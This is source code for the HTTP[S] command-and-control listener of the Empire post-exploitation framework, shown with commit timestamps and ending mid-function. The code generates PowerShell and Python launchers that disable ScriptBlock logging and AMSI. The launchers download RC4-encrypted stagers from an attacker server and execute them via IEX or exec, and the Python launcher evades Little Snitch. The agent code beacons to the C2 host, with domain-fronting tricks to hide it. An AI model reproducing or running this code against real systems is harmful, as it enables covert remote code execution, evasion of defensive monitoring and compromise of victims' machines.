2016-09-23 18:04:35 +00:00
import logging
import base64
import random
import os
2017-08-31 13:23:49 +00:00
import ssl
2016-09-23 18:04:35 +00:00
import time
import copy
from pydispatch import dispatcher
from flask import Flask , request , make_response
2017-02-08 03:17:10 +00:00
import pdb
2016-09-23 18:04:35 +00:00
# Empire imports
from lib . common import helpers
from lib . common import agents
from lib . common import encryption
from lib . common import packets
from lib . common import messages
class Listener :
def __init__ ( self , mainMenu , params = [ ] ) :
self . info = {
' Name ' : ' HTTP[S] ' ,
' Author ' : [ ' @harmj0y ' ] ,
' Description ' : ( ' Starts a http[s] listener (PowerShell or Python) that uses a GET/POST approach. ' ) ,
' Category ' : ( ' client_server ' ) ,
' Comments ' : [ ]
}
# any options needed by the stager, settable during runtime
self . options = {
# format:
# value_name : {description, required, default_value}
' Name ' : {
' Description ' : ' Name for the listener. ' ,
' Required ' : True ,
' Value ' : ' http '
} ,
' Host ' : {
' Description ' : ' Hostname/IP for staging. ' ,
' Required ' : True ,
' Value ' : " http:// %s : %s " % ( helpers . lhost ( ) , 80 )
} ,
' BindIP ' : {
' Description ' : ' The IP to bind to on the control server. ' ,
' Required ' : True ,
' Value ' : ' 0.0.0.0 '
} ,
' Port ' : {
' Description ' : ' Port for the listener. ' ,
' Required ' : True ,
' Value ' : 80
} ,
2017-05-14 13:32:13 +00:00
' Launcher ' : {
' Description ' : ' Launcher string. ' ,
' Required ' : True ,
2017-05-22 22:28:41 +00:00
' Value ' : ' powershell -noP -sta -w 1 -enc '
2017-05-14 13:32:13 +00:00
} ,
2016-09-23 18:04:35 +00:00
' StagingKey ' : {
' Description ' : ' Staging key for initial agent negotiation. ' ,
' Required ' : True ,
' Value ' : ' 2c103f2c4ed1e59c0b4e2e01821770fa '
} ,
' DefaultDelay ' : {
' Description ' : ' Agent delay/reach back interval (in seconds). ' ,
' Required ' : True ,
' Value ' : 5
} ,
' DefaultJitter ' : {
' Description ' : ' Jitter in agent reachback interval (0.0-1.0). ' ,
' Required ' : True ,
' Value ' : 0.0
} ,
' DefaultLostLimit ' : {
' Description ' : ' Number of missed checkins before exiting ' ,
' Required ' : True ,
' Value ' : 60
} ,
' DefaultProfile ' : {
' Description ' : ' Default communication profile for the agent. ' ,
' Required ' : True ,
' Value ' : " /admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko "
} ,
' CertPath ' : {
' Description ' : ' Certificate path for https listeners. ' ,
' Required ' : False ,
' Value ' : ' '
} ,
' KillDate ' : {
' Description ' : ' Date for the listener to exit (MM/dd/yyyy). ' ,
' Required ' : False ,
' Value ' : ' '
} ,
' WorkingHours ' : {
' Description ' : ' Hours for the agent to operate (09:00-17:00). ' ,
' Required ' : False ,
' Value ' : ' '
} ,
' ServerVersion ' : {
2017-02-13 22:36:20 +00:00
' Description ' : ' Server header for the control server. ' ,
2016-09-23 18:04:35 +00:00
' Required ' : True ,
' Value ' : ' Microsoft-IIS/7.5 '
2017-09-26 14:13:21 +00:00
} ,
' StagerURI ' : {
' Description ' : ' URI for the stager. Example: stager.php ' ,
' Required ' : False ,
' Value ' : ' '
} ,
' UserAgent ' : {
' Description ' : ' User-agent string to use for the staging request (default, none, or other). ' ,
' Required ' : False ,
' Value ' : ' default '
} ,
' Proxy ' : {
' Description ' : ' Proxy to use for request (default, none, or other). ' ,
' Required ' : False ,
' Value ' : ' default '
} ,
' ProxyCreds ' : {
' Description ' : ' Proxy credentials ([domain \ ]username:password) to use for request (default, none, or other). ' ,
' Required ' : False ,
' Value ' : ' default '
2016-09-23 18:04:35 +00:00
}
}
# required:
self . mainMenu = mainMenu
self . threads = { }
# optional/specific for this module
self . app = None
self . uris = [ a . strip ( ' / ' ) for a in self . options [ ' DefaultProfile ' ] [ ' Value ' ] . split ( ' | ' ) [ 0 ] . split ( ' , ' ) ]
# set the default staging key to the controller db default
self . options [ ' StagingKey ' ] [ ' Value ' ] = str ( helpers . get_config ( ' staging_key ' ) [ 0 ] )
def default_response ( self ) :
"""
Returns a default HTTP server page .
"""
page = " <html><body><h1>It works!</h1> "
page + = " <p>This is the default web page for this server.</p> "
page + = " <p>The web server software is running but no content has been added, yet.</p> "
page + = " </body></html> "
return page
def validate_options ( self ) :
"""
Validate all options for this listener .
"""
self . uris = [ a . strip ( ' / ' ) for a in self . options [ ' DefaultProfile ' ] [ ' Value ' ] . split ( ' | ' ) [ 0 ] . split ( ' , ' ) ]
for key in self . options :
if self . options [ key ] [ ' Required ' ] and ( str ( self . options [ key ] [ ' Value ' ] ) . strip ( ) == ' ' ) :
print helpers . color ( " [!] Option \" %s \" is required. " % ( key ) )
return False
return True
2017-03-11 23:35:17 +00:00
def generate_launcher ( self , encode = True , obfuscate = False , obfuscationCommand = " " , userAgent = ' default ' , proxy = ' default ' , proxyCreds = ' default ' , stagerRetries = ' 0 ' , language = None , safeChecks = ' ' , listenerName = None ) :
2016-09-23 18:04:35 +00:00
"""
Generate a basic launcher for the specified listener .
"""
if not language :
print helpers . color ( ' [!] listeners/http generate_launcher(): no language specified! ' )
if listenerName and ( listenerName in self . threads ) and ( listenerName in self . mainMenu . listeners . activeListeners ) :
# extract the set options for this instantiated listener
listenerOptions = self . mainMenu . listeners . activeListeners [ listenerName ] [ ' options ' ]
host = listenerOptions [ ' Host ' ] [ ' Value ' ]
2017-05-14 13:32:13 +00:00
launcher = listenerOptions [ ' Launcher ' ] [ ' Value ' ]
2016-09-23 18:04:35 +00:00
stagingKey = listenerOptions [ ' StagingKey ' ] [ ' Value ' ]
profile = listenerOptions [ ' DefaultProfile ' ] [ ' Value ' ]
uris = [ a for a in profile . split ( ' | ' ) [ 0 ] . split ( ' , ' ) ]
stage0 = random . choice ( uris )
2017-02-08 03:17:10 +00:00
customHeaders = profile . split ( ' | ' ) [ 2 : ]
2016-09-23 18:04:35 +00:00
if language . startswith ( ' po ' ) :
# PowerShell
stager = ' '
if safeChecks . lower ( ) == ' true ' :
2017-07-05 05:56:13 +00:00
# ScriptBlock Logging bypass
stager = helpers . randomize_capitalization ( " $GroupPolicySettings = [ref].Assembly.GetType( " )
stager + = " ' System.Management.Automation.Utils ' "
stager + = helpers . randomize_capitalization ( " ). \" GetFie`ld \" ( " )
stager + = " ' cachedGroupPolicySettings ' , ' N ' + ' onPublic,Static ' "
stager + = helpers . randomize_capitalization ( " ).GetValue($null);$GroupPolicySettings " )
2017-07-09 21:34:08 +00:00
stager + = " [ ' ScriptB ' + ' lockLogging ' ][ ' EnableScriptB ' + ' lockLogging ' ] = 0; "
2017-07-05 05:56:13 +00:00
stager + = helpers . randomize_capitalization ( " $GroupPolicySettings " )
2017-07-09 21:34:08 +00:00
stager + = " [ ' ScriptB ' + ' lockLogging ' ][ ' EnableScriptBlockInvocationLogging ' ] = 0; "
2017-07-05 05:56:13 +00:00
2016-09-23 18:04:35 +00:00
# @mattifestation's AMSI bypass
2017-07-05 05:56:13 +00:00
stager + = helpers . randomize_capitalization ( " [Ref].Assembly.GetType( " )
2016-09-23 18:04:35 +00:00
stager + = " ' System.Management.Automation.AmsiUtils ' "
stager + = helpers . randomize_capitalization ( ' )|? { $_}| % { $_.GetField( ' )
stager + = " ' amsiInitFailed ' , ' NonPublic,Static ' "
stager + = helpers . randomize_capitalization ( " ).SetValue($null,$true)}; " )
stager + = helpers . randomize_capitalization ( " [System.Net.ServicePointManager]::Expect100Continue=0; " )
stager + = helpers . randomize_capitalization ( " $wc=New-Object System.Net.WebClient; " )
if userAgent . lower ( ) == ' default ' :
profile = listenerOptions [ ' DefaultProfile ' ] [ ' Value ' ]
userAgent = profile . split ( ' | ' ) [ 1 ]
stager + = " $u= ' " + userAgent + " ' ; "
if ' https ' in host :
# allow for self-signed certificates for https connections
stager + = " [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true}; "
if userAgent . lower ( ) != ' none ' or proxy . lower ( ) != ' none ' :
if userAgent . lower ( ) != ' none ' :
stager + = helpers . randomize_capitalization ( ' $wc.Headers.Add( ' )
stager + = " ' User-Agent ' ,$u); "
if proxy . lower ( ) != ' none ' :
if proxy . lower ( ) == ' default ' :
stager + = helpers . randomize_capitalization ( " $wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy; " )
else :
# TODO: implement form for other proxy
stager + = helpers . randomize_capitalization ( " $proxy=New-Object Net.WebProxy; " )
stager + = helpers . randomize_capitalization ( " $proxy.Address = ' " + proxy . lower ( ) + " ' ; " )
stager + = helpers . randomize_capitalization ( " $wc.Proxy = $proxy; " )
if proxyCreds . lower ( ) == " default " :
stager + = helpers . randomize_capitalization ( " $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; " )
else :
# TODO: implement form for other proxy credentials
2017-08-11 19:19:09 +00:00
username = proxyCreds . split ( ' : ' ) [ 0 ]
password = proxyCreds . split ( ' : ' ) [ 1 ]
domain = username . split ( ' \\ ' ) [ 0 ]
usr = username . split ( ' \\ ' ) [ 1 ]
2017-09-28 14:53:11 +00:00
stager + = " $netcred = New-Object System.Net.NetworkCredential( ' " + usr + " ' , ' " + password + " ' , ' " + domain + " ' ); "
2017-08-11 19:19:09 +00:00
stager + = helpers . randomize_capitalization ( " $wc.Proxy.Credentials = $netcred; " )
2016-09-23 18:04:35 +00:00
2017-08-31 20:28:47 +00:00
#save the proxy settings to use during the entire staging process and the agent
stager + = " $Script:Proxy = $wc.Proxy; "
2016-09-23 18:04:35 +00:00
# TODO: reimplement stager retries?
2017-04-08 01:50:53 +00:00
#check if we're using IPv6
listenerOptions = copy . deepcopy ( listenerOptions )
bindIP = listenerOptions [ ' BindIP ' ] [ ' Value ' ]
port = listenerOptions [ ' Port ' ] [ ' Value ' ]
if ' : ' in bindIP :
if " http " in host :
if " https " in host :
host = ' https:// ' + ' [ ' + str ( bindIP ) + ' ] ' + " : " + str ( port )
else :
2017-09-28 14:53:11 +00:00
host = ' http:// ' + ' [ ' + str ( bindIP ) + ' ] ' + " : " + str ( port )
2016-09-23 18:04:35 +00:00
# code to turn the key string into a byte array
stager + = helpers . randomize_capitalization ( " $K=[System.Text.Encoding]::ASCII.GetBytes( " )
stager + = " ' %s ' ); " % ( stagingKey )
# this is the minimized RC4 stager code from rc4.ps1
stager + = helpers . randomize_capitalization ( ' $R= { $D,$K=$Args;$S=0..255;0..255| % { $J=($J+$S[$_]+$K[$_ % $K.Count]) % 256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D| % { $I=($I+1) % 256;$H=($H+$S[$I]) % 256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H]) % 256]}}; ' )
# prebuild the request routing packet for the launcher
routingPacket = packets . build_routing_packet ( stagingKey , sessionID = ' 00000000 ' , language = ' POWERSHELL ' , meta = ' STAGE0 ' , additional = ' None ' , encData = ' ' )
b64RoutingPacket = base64 . b64encode ( routingPacket )
2017-09-29 20:56:29 +00:00
stager + = " $ser= ' %s ' ;$t= ' %s ' ; " % ( host , stage0 )
2017-02-08 03:17:10 +00:00
#Add custom headers if any
if customHeaders != [ ] :
for header in customHeaders :
headerKey = header . split ( ' : ' ) [ 0 ]
headerValue = header . split ( ' : ' ) [ 1 ]
2017-09-28 22:09:08 +00:00
#If host header defined, assume domain fronting is in use and add a call to the base URL first
#this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
if headerKey . lower ( ) == " host " :
2017-09-29 20:56:29 +00:00
stager + = helpers . randomize_capitalization ( " try { $ig=$WC.DownloadData($ser)}catch {} ; " )
2017-02-08 03:17:10 +00:00
stager + = helpers . randomize_capitalization ( " $wc.Headers.Add( " )
stager + = " \" %s \" , \" %s \" ); " % ( headerKey , headerValue )
2016-09-23 18:04:35 +00:00
# add the RC4 packet to a cookie
2017-02-08 03:17:10 +00:00
2016-09-23 18:04:35 +00:00
stager + = helpers . randomize_capitalization ( " $wc.Headers.Add( " )
stager + = " \" Cookie \" , \" session= %s \" ); " % ( b64RoutingPacket )
2017-09-29 20:56:29 +00:00
2016-09-23 18:04:35 +00:00
stager + = helpers . randomize_capitalization ( " $data=$WC.DownloadData($ser+$t); " )
stager + = helpers . randomize_capitalization ( " $iv=$data[0..3];$data=$data[4..$data.length]; " )
# decode everything and kick it over to IEX to kick off execution
stager + = helpers . randomize_capitalization ( " -join[Char[]](& $R $data ($IV+$K))|IEX " )
2017-09-28 14:53:11 +00:00
2017-03-11 23:35:17 +00:00
if obfuscate :
2017-04-23 01:17:28 +00:00
stager = helpers . obfuscate ( stager , obfuscationCommand = obfuscationCommand )
2016-09-23 18:04:35 +00:00
# base64 encode the stager and return it
2017-03-11 23:35:17 +00:00
if encode and ( ( not obfuscate ) or ( " launcher " not in obfuscationCommand . lower ( ) ) ) :
2017-05-14 13:32:13 +00:00
return helpers . powershell_launcher ( stager , launcher )
2016-09-23 18:04:35 +00:00
else :
# otherwise return the case-randomized stager
return stager
if language . startswith ( ' py ' ) :
# Python
launcherBase = ' import sys; '
if " https " in host :
# monkey patch ssl woohooo
launcherBase + = " import ssl; \n if hasattr(ssl, ' _create_unverified_context ' ):ssl._create_default_https_context = ssl._create_unverified_context; \n "
try :
if safeChecks . lower ( ) == ' true ' :
launcherBase + = " import re, subprocess; "
launcherBase + = " cmd = \" ps -ef | grep Little \ Snitch | grep -v grep \" \n "
launcherBase + = " ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE) \n "
launcherBase + = " out = ps.stdout.read() \n "
launcherBase + = " ps.stdout.close() \n "
launcherBase + = " if re.search( \" Little Snitch \" , out): \n "
launcherBase + = " sys.exit() \n "
except Exception as e :
2016-09-29 20:01:46 +00:00
p = " [!] Error setting LittleSnitch in stager: " + str ( e )
2016-09-23 18:04:35 +00:00
print helpers . color ( p , color = ' red ' )
if userAgent . lower ( ) == ' default ' :
profile = listenerOptions [ ' DefaultProfile ' ] [ ' Value ' ]
userAgent = profile . split ( ' | ' ) [ 1 ]
2017-02-08 03:17:10 +00:00
launcherBase + = " import urllib2; \n "
2016-09-23 18:04:35 +00:00
launcherBase + = " UA= ' %s ' ; " % ( userAgent )
launcherBase + = " server= ' %s ' ;t= ' %s ' ; " % ( host , stage0 )
# prebuild the request routing packet for the launcher
routingPacket = packets . build_routing_packet ( stagingKey , sessionID = ' 00000000 ' , language = ' PYTHON ' , meta = ' STAGE0 ' , additional = ' None ' , encData = ' ' )
b64RoutingPacket = base64 . b64encode ( routingPacket )
2017-09-28 14:53:11 +00:00
2017-02-08 03:17:10 +00:00
launcherBase + = " req=urllib2.Request(server+t); \n "
2016-09-23 18:04:35 +00:00
# add the RC4 packet to a cookie
2017-02-08 03:17:10 +00:00
launcherBase + = " req.add_header( ' User-Agent ' ,UA); \n "
launcherBase + = " req.add_header( ' Cookie ' , \" session= %s \" ); \n " % ( b64RoutingPacket )
# Add custom headers if any
if customHeaders != [ ] :
for header in customHeaders :
headerKey = header . split ( ' : ' ) [ 0 ]
headerValue = header . split ( ' : ' ) [ 1 ]
#launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue)
launcherBase + = " req.add_header( \" %s \" , \" %s \" ); \n " % ( headerKey , headerValue )
2017-09-28 14:53:11 +00:00
2017-08-11 19:19:09 +00:00
if proxy . lower ( ) != " none " :
if proxy . lower ( ) == " default " :
launcherBase + = " proxy = urllib2.ProxyHandler(); \n "
else :
proto = proxy . Split ( ' : ' ) [ 0 ]
launcherBase + = " proxy = urllib2.ProxyHandler( { ' " + proto + " ' : ' " + proxy + " ' }); \n "
if proxyCreds != " none " :
if proxyCreds == " default " :
launcherBase + = " o = urllib2.build_opener(proxy); \n "
else :
launcherBase + = " proxy_auth_handler = urllib2.ProxyBasicAuthHandler(); \n "
username = proxyCreds . split ( ' : ' ) [ 0 ]
password = proxyCreds . split ( ' : ' ) [ 1 ]
2017-09-28 14:53:11 +00:00
launcherBase + = " proxy_auth_handler.add_password(None, ' " + proxy + " ' , ' " + username + " ' , ' " + password + " ' ); \n "
2017-08-11 19:19:09 +00:00
launcherBase + = " o = urllib2.build_opener(proxy, proxy_auth_handler); \n "
else :
launcherBase + = " o = urllib2.build_opener(proxy); \n "
else :
launcherBase + = " o = urllib2.build_opener(); \n "
#install proxy and creds globally, so they can be used with urlopen.
launcherBase + = " urllib2.install_opener(o); \n "
2016-09-23 18:04:35 +00:00
# download the stager and extract the IV
2017-09-28 14:53:11 +00:00
2017-02-08 03:17:10 +00:00
launcherBase + = " a=urllib2.urlopen(req).read(); \n "
2016-09-23 18:04:35 +00:00
launcherBase + = " IV=a[0:4]; "
launcherBase + = " data=a[4:]; "
launcherBase + = " key=IV+ ' %s ' ; " % ( stagingKey )
# RC4 decryption
launcherBase + = " S,j,out=range(256),0,[] \n "
launcherBase + = " for i in range(256): \n "
launcherBase + = " j=(j+S[i]+ord(key[i %le n(key)])) % 256 \n "
launcherBase + = " S[i],S[j]=S[j],S[i] \n "
launcherBase + = " i=j=0 \n "
launcherBase + = " for char in data: \n "
launcherBase + = " i=(i+1) % 256 \n "
launcherBase + = " j=(j+S[i]) % 256 \n "
launcherBase + = " S[i],S[j]=S[j],S[i] \n "
launcherBase + = " out.append(chr(ord(char)^S[(S[i]+S[j]) % 256])) \n "
launcherBase + = " exec( ' ' .join(out)) "
if encode :
launchEncoded = base64 . b64encode ( launcherBase )
2017-08-27 22:15:29 +00:00
launcher = " echo \" import sys,base64,warnings;warnings.filterwarnings( \' ignore \' );exec(base64.b64decode( ' %s ' )); \" | python & " % ( launchEncoded )
2016-09-23 18:04:35 +00:00
return launcher
else :
return launcherBase
else :
print helpers . color ( " [!] listeners/http generate_launcher(): invalid language specification: only ' powershell ' and ' python ' are currently supported for this module. " )
else :
print helpers . color ( " [!] listeners/http generate_launcher(): invalid listener name specification! " )
2017-03-11 23:35:17 +00:00
def generate_stager ( self , listenerOptions , encode = False , encrypt = True , obfuscate = False , obfuscationCommand = " " , language = None ) :
2016-09-23 18:04:35 +00:00
"""
Generate the stager code needed for communications with this listener .
"""
if not language :
print helpers . color ( ' [!] listeners/http generate_stager(): no language specified! ' )
return None
2017-09-28 14:53:11 +00:00
2016-09-23 18:04:35 +00:00
profile = listenerOptions [ ' DefaultProfile ' ] [ ' Value ' ]
uris = [ a . strip ( ' / ' ) for a in profile . split ( ' | ' ) [ 0 ] . split ( ' , ' ) ]
2017-05-14 13:32:13 +00:00
launcher = listenerOptions [ ' Launcher ' ] [ ' Value ' ]
2016-09-23 18:04:35 +00:00
stagingKey = listenerOptions [ ' StagingKey ' ] [ ' Value ' ]
2017-08-31 15:28:24 +00:00
workingHours = listenerOptions [ ' WorkingHours ' ] [ ' Value ' ]
2017-09-23 14:28:51 +00:00
killDate = listenerOptions [ ' KillDate ' ] [ ' Value ' ]
2016-09-23 18:04:35 +00:00
host = listenerOptions [ ' Host ' ] [ ' Value ' ]
2017-02-08 03:17:10 +00:00
customHeaders = profile . split ( ' | ' ) [ 2 : ]
2016-09-23 18:04:35 +00:00
# select some random URIs for staging from the main profile
stage1 = random . choice ( uris )
stage2 = random . choice ( uris )
if language . lower ( ) == ' powershell ' :
# read in the stager base
f = open ( " %s /data/agent/stagers/http.ps1 " % ( self . mainMenu . installPath ) )
stager = f . read ( )
f . close ( )
# make sure the server ends with "/"
if not host . endswith ( " / " ) :
host + = " / "
2017-02-08 03:17:10 +00:00
#Patch in custom Headers
if customHeaders != [ ] :
headers = ' , ' . join ( customHeaders )
stager = stager . replace ( " $customHeaders = \" \" ; " , " $customHeaders = \" " + headers + " \" ; " )
2017-08-31 15:28:24 +00:00
#patch in working hours, if any
if workingHours != " " :
stager = stager . replace ( ' WORKING_HOURS_REPLACE ' , workingHours )
2017-09-23 14:28:51 +00:00
#Patch in the killdate, if any
if killDate != " " :
stager = stager . replace ( ' REPLACE_KILLDATE ' , killDate )
2016-09-23 18:04:35 +00:00
# patch the server and key information
stager = stager . replace ( ' REPLACE_SERVER ' , host )
stager = stager . replace ( ' REPLACE_STAGING_KEY ' , stagingKey )
stager = stager . replace ( ' index.jsp ' , stage1 )
stager = stager . replace ( ' index.php ' , stage2 )
randomizedStager = ' '
for line in stager . split ( " \n " ) :
line = line . strip ( )
# skip commented line
if not line . startswith ( " # " ) :
# randomize capitalization of lines without quoted strings
if " \" " not in line :
randomizedStager + = helpers . randomize_capitalization ( line )
else :
randomizedStager + = line
2017-09-28 14:53:11 +00:00
2017-03-11 23:35:17 +00:00
if obfuscate :
2017-04-23 02:37:50 +00:00
randomizedStager = helpers . obfuscate ( randomizedStager , obfuscationCommand = obfuscationCommand )
2016-09-23 18:04:35 +00:00
# base64 encode the stager and return it
if encode :
return helpers . enc_powershell ( randomizedStager )
elif encrypt :
RC4IV = os . urandom ( 4 )
return RC4IV + encryption . rc4 ( RC4IV + stagingKey , randomizedStager )
else :
# otherwise just return the case-randomized stager
return randomizedStager
elif language . lower ( ) == ' python ' :
# read in the stager base
f = open ( " %s /data/agent/stagers/http.py " % ( self . mainMenu . installPath ) )
stager = f . read ( )
f . close ( )
stager = helpers . strip_python_comments ( stager )
if host . endswith ( " / " ) :
host = host [ 0 : - 1 ]
2017-09-23 14:28:51 +00:00
if workingHours != " " :
stager = stager . replace ( ' SET_WORKINGHOURS ' , workingHours )
if killDate != " " :
stager = stager . replace ( ' SET_KILLDATE ' , killDate )
2016-09-23 18:04:35 +00:00
# # patch the server and key information
stager = stager . replace ( " REPLACE_STAGING_KEY " , stagingKey )
stager = stager . replace ( " REPLACE_PROFILE " , profile )
stager = stager . replace ( " index.jsp " , stage1 )
stager = stager . replace ( " index.php " , stage2 )
# # base64 encode the stager and return it
if encode :
return base64 . b64encode ( stager )
if encrypt :
# return an encrypted version of the stager ("normal" staging)
RC4IV = os . urandom ( 4 )
return RC4IV + encryption . rc4 ( RC4IV + stagingKey , stager )
else :
# otherwise return the standard stager
return stager
else :
print helpers . color ( " [!] listeners/http generate_stager(): invalid language specification, only ' powershell ' and ' python ' are currently supported for this module. " )
2017-03-11 23:35:17 +00:00
def generate_agent ( self , listenerOptions , language = None , obfuscate = False , obfuscationCommand = " " ) :
2016-09-23 18:04:35 +00:00
"""
Generate the full agent code needed for communications with this listener .
"""
if not language :
print helpers . color ( ' [!] listeners/http generate_agent(): no language specified! ' )
return None
language = language . lower ( )
delay = listenerOptions [ ' DefaultDelay ' ] [ ' Value ' ]
jitter = listenerOptions [ ' DefaultJitter ' ] [ ' Value ' ]
profile = listenerOptions [ ' DefaultProfile ' ] [ ' Value ' ]
lostLimit = listenerOptions [ ' DefaultLostLimit ' ] [ ' Value ' ]
killDate = listenerOptions [ ' KillDate ' ] [ ' Value ' ]
2017-08-31 16:31:59 +00:00
workingHours = listenerOptions [ ' WorkingHours ' ] [ ' Value ' ]
2016-09-23 18:04:35 +00:00
b64DefaultResponse = base64 . b64encode ( self . default_response ( ) )
if language == ' powershell ' :
f = open ( self . mainMenu . installPath + " ./data/agent/agent.ps1 " )
code = f . read ( )
f . close ( )
# patch in the comms methods
commsCode = self . generate_comms ( listenerOptions = listenerOptions , language = language )
code = code . replace ( ' REPLACE_COMMS ' , commsCode )
# strip out comments and blank lines
code = helpers . strip_powershell_comments ( code )
# patch in the delay, jitter, lost limit, and comms profile
code = code . replace ( ' $AgentDelay = 60 ' , " $AgentDelay = " + str ( delay ) )
code = code . replace ( ' $AgentJitter = 0 ' , " $AgentJitter = " + str ( jitter ) )
code = code . replace ( ' $Profile = " /admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko " ' , " $Profile = \" " + str ( profile ) + " \" " )
code = code . replace ( ' $LostLimit = 60 ' , " $LostLimit = " + str ( lostLimit ) )
code = code . replace ( ' $DefaultResponse = " " ' , ' $DefaultResponse = " ' + str ( b64DefaultResponse ) + ' " ' )
# patch in the killDate and workingHours if they're specified
if killDate != " " :
code = code . replace ( ' $KillDate, ' , " $KillDate = ' " + str ( killDate ) + " ' , " )
2017-03-11 23:35:17 +00:00
if obfuscate :
2017-04-23 02:37:50 +00:00
code = helpers . obfuscate ( code , obfuscationCommand = obfuscationCommand )
2016-09-23 18:04:35 +00:00
return code
elif language == ' python ' :
f = open ( self . mainMenu . installPath + " ./data/agent/agent.py " )
code = f . read ( )
f . close ( )
# patch in the comms methods
commsCode = self . generate_comms ( listenerOptions = listenerOptions , language = language )
code = code . replace ( ' REPLACE_COMMS ' , commsCode )
# strip out comments and blank lines
code = helpers . strip_python_comments ( code )
# patch in the delay, jitter, lost limit, and comms profile
code = code . replace ( ' delay = 60 ' , ' delay = %s ' % ( delay ) )
code = code . replace ( ' jitter = 0.0 ' , ' jitter = %s ' % ( jitter ) )
code = code . replace ( ' profile = " /admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko " ' , ' profile = " %s " ' % ( profile ) )
code = code . replace ( ' lostLimit = 60 ' , ' lostLimit = %s ' % ( lostLimit ) )
code = code . replace ( ' defaultResponse = base64.b64decode( " " ) ' , ' defaultResponse = base64.b64decode( " %s " ) ' % ( b64DefaultResponse ) )
# patch in the killDate and workingHours if they're specified
if killDate != " " :
code = code . replace ( ' killDate = " " ' , ' killDate = " %s " ' % ( killDate ) )
if workingHours != " " :
code = code . replace ( ' workingHours = " " ' , ' workingHours = " %s " ' % ( killDate ) )
return code
else :
print helpers . color ( " [!] listeners/http generate_agent(): invalid language specification, only ' powershell ' and ' python ' are currently supported for this module. " )
def generate_comms ( self , listenerOptions , language = None ) :
"""
Generate just the agent communication code block needed for communications with this listener .
This is so agents can easily be dynamically updated for the new listener .
"""
if language :
if language . lower ( ) == ' powershell ' :
updateServers = """
$ Script : ControlServers = @ ( " %s " ) ;
$ Script : ServerIndex = 0 ;
""" % (listenerOptions[ ' Host ' ][ ' Value ' ])
if listenerOptions [ ' Host ' ] [ ' Value ' ] . startswith ( ' https ' ) :
updateServers + = " \n [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true}; "
getTask = """
function script : Get - Task {
try {
if ( $ Script : ControlServers [ $ Script : ServerIndex ] . StartsWith ( " http " ) ) {
# meta 'TASKING_REQUEST' : 4
$ RoutingPacket = New - RoutingPacket - EncData $ Null - Meta 4
$ RoutingCookie = [ Convert ] : : ToBase64String ( $ RoutingPacket )
# build the web request object
$ wc = New - Object System . Net . WebClient
# set the proxy settings for the WC to be the default system settings
2017-08-31 20:37:17 +00:00
$ wc . Proxy = [ System . Net . WebRequest ] : : GetSystemWebProxy ( ) ;
$ wc . Proxy . Credentials = [ System . Net . CredentialCache ] : : DefaultCredentials ;
if ( $ Script : Proxy ) {
$ wc . Proxy = $ Script : Proxy ;
}
2017-09-28 14:53:11 +00:00
2016-09-23 18:04:35 +00:00
$ wc . Headers . Add ( " User-Agent " , $ script : UserAgent )
$ script : Headers . GetEnumerator ( ) | % { $ wc . Headers . Add ( $ _ . Name , $ _ . Value ) }
$ wc . Headers . Add ( " Cookie " , " session=$RoutingCookie " )
# choose a random valid URI for checkin
$ taskURI = $ script : TaskURIs | Get - Random
$ result = $ wc . DownloadData ( $ Script : ControlServers [ $ Script : ServerIndex ] + $ taskURI )
$ result
}
}
catch [ Net . WebException ] {
$ script : MissedCheckins + = 1
if ( $ _ . Exception . GetBaseException ( ) . Response . statuscode - eq 401 ) {
# restart key negotiation
Start - Negotiate - S " $ser " - SK $ SK - UA $ ua
}
}
}
"""
sendMessage = """
function script : Send - Message {
param ( $ Packets )
if ( $ Packets ) {
# build and encrypt the response packet
$ EncBytes = Encrypt - Bytes $ Packets
# build the top level RC4 "routing packet"
# meta 'RESULT_POST' : 5
$ RoutingPacket = New - RoutingPacket - EncData $ EncBytes - Meta 5
if ( $ Script : ControlServers [ $ Script : ServerIndex ] . StartsWith ( ' http ' ) ) {
# build the web request object
$ wc = New - Object System . Net . WebClient
# set the proxy settings for the WC to be the default system settings
2017-08-31 20:37:17 +00:00
$ wc . Proxy = [ System . Net . WebRequest ] : : GetSystemWebProxy ( ) ;
$ wc . Proxy . Credentials = [ System . Net . CredentialCache ] : : DefaultCredentials ;
if ( $ Script : Proxy ) {
$ wc . Proxy = $ Script : Proxy ;
}
2017-09-28 14:53:11 +00:00
2016-09-23 18:04:35 +00:00
$ wc . Headers . Add ( ' User-Agent ' , $ Script : UserAgent )
$ Script : Headers . GetEnumerator ( ) | ForEach - Object { $ wc . Headers . Add ( $ _ . Name , $ _ . Value ) }
try {
# get a random posting URI
$ taskURI = $ Script : TaskURIs | Get - Random
$ response = $ wc . UploadData ( $ Script : ControlServers [ $ Script : ServerIndex ] + $ taskURI , ' POST ' , $ RoutingPacket ) ;
}
catch [ System . Net . WebException ] {
# exception posting data...
}
}
}
}
"""
return updateServers + getTask + sendMessage
elif language . lower ( ) == ' python ' :
updateServers = " server = ' %s ' \n " % ( listenerOptions [ ' Host ' ] [ ' Value ' ] )
if listenerOptions [ ' Host ' ] [ ' Value ' ] . startswith ( ' https ' ) :
2016-09-29 20:01:46 +00:00
updateServers + = " hasattr(ssl, ' _create_unverified_context ' ) and ssl._create_unverified_context() or None "
2016-09-23 18:04:35 +00:00
sendMessage = """
def send_message ( packets = None ) :
# Requests a tasking or posts data to a randomized tasking URI.
# If packets == None, the agent GETs a tasking from the control server.
# If packets != None, the agent encrypts the passed packets and
# POSTs the data to the control server.
global missedCheckins
global server
global headers
global taskURIs
data = None
if packets :
data = ' ' . join ( packets )
# aes_encrypt_then_hmac is in stager.py
encData = aes_encrypt_then_hmac ( key , data )
data = build_routing_packet ( stagingKey , sessionID , meta = 5 , encData = encData )
else :
# if we're GETing taskings, then build the routing packet to stuff info a cookie first.
# meta TASKING_REQUEST = 4
